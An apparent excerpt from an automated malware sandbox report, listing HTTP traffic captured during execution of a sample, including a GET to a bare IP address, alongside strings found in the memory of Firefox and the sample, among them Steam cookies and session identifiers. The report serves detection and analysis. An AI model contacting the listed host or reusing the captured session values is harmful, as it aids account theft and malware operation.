Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlUpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/MAX(EXISTS( equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://.imgur.com/js/vendor..bundle.js@mozilla.org/network/atomic-file-output-stream;1resource://gre/modules/FileUtils.sys.mjs://track.adform.net/serving/scripts/trackpoint/FileUtils_openAtomicFileOutputStream://www.rva311.com/static/js/main..chunk.js@mozilla.org/network/safe-file-output-stream;1://www.everestjs.net/static/st.v3.js://pub.doubleverify.com/signals/pub.js@mozilla.org/network/file-output-stream;1://static.chartbeat.com/js/chartbeat.jsresource://gre/modules/addons/XPIProvider.jsmwebcompat-reporter%40mozilla.org:1.5.1FileUtils_closeSafeFileOutputStream://cdn.branch.io/branch-latest.min.js*://c.amazon-adsystem.com/aax2/apstag.jshttps://smartblock.firefox.etp/facebook.svg://static.chartbeat.com/js/chartbeat_video.js://static.criteo.net/js/ld/publishertag.js://.imgur.io/js/vendor..bundle.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.js://auth.9c9media.ca/auth/main.js://www.google-analytics.com/analytics.js://www.googletagmanager.com/gtm.js://www.google-analytics.com/plugins/ua/ec.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js://pagead2.googlesyndication.com/tag/js/gpt.js://s0.2mdn.net/instream/html5/ima3.js://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://www.google-analytics.com/gtm/js://adservex.media.net/videoAds.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js*://ssl.google-analytics.com/ga.js://s.webtrends.com/js/advancedLinkTracking.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://securepubads.g.doubleclick.net/gampad/ad-blk*://securepubads.g.doubleclick.net/gampad/xml_vmap1https://static.adsafeprotected.com/firefox-etp-pixel://id.rambler.ru/rambler-id-helper/auth_events.jshttps://static.adsafeprotected.com/firefox-etp-jscolor-mix(in srgb, currentColor 14%, transparent)://media.richrelevance.com/rrserver/js/1.2/p13n.js://www.gstatic.com/firebasejs//firebase-messaging.jsresource://gre/modules/ExtensionScriptingStore.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.c3a9 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2303891585.000001C96F71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2300171636.000001C96F503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2229257788.000001C968F3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C9679EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2229257788.000001C968FAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=7b60d4c5eefaf9e8532fcfae; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 02:02:09 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgeUpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)moz-extension://2a8a4ba3-32a0-495a-bbc2-63871e7b7005/lib/messaging_helper.jsTrue if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://2aec2d48-9127-47e3-8a78-71ba3773e451/selector/callBackground.jsmoz-extension://2a8a4ba3-32a0-495a-bbc2-63871e7b7005/lib/custom_functions.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgeUpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)moz-extension://2a8a4ba3-32a0-495a-bbc2-63871e7b7005/lib/messaging_helper.jsTrue if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://2aec2d48-9127-47e3-8a78-71ba3773e451/selector/callBackground.jsmoz-extension://2a8a4ba3-32a0-495a-bbc2-63871e7b7005/lib/custom_functions.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdgeUpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)moz-extension://2a8a4ba3-32a0-495a-bbc2-63871e7b7005/lib/messaging_helper.jsTrue if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]moz-extension://2aec2d48-9127-47e3-8a78-71ba3773e451/selector/callBackground.jsmoz-extension://2a8a4ba3-32a0-495a-bbc2-63871e7b7005/lib/custom_functions.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", 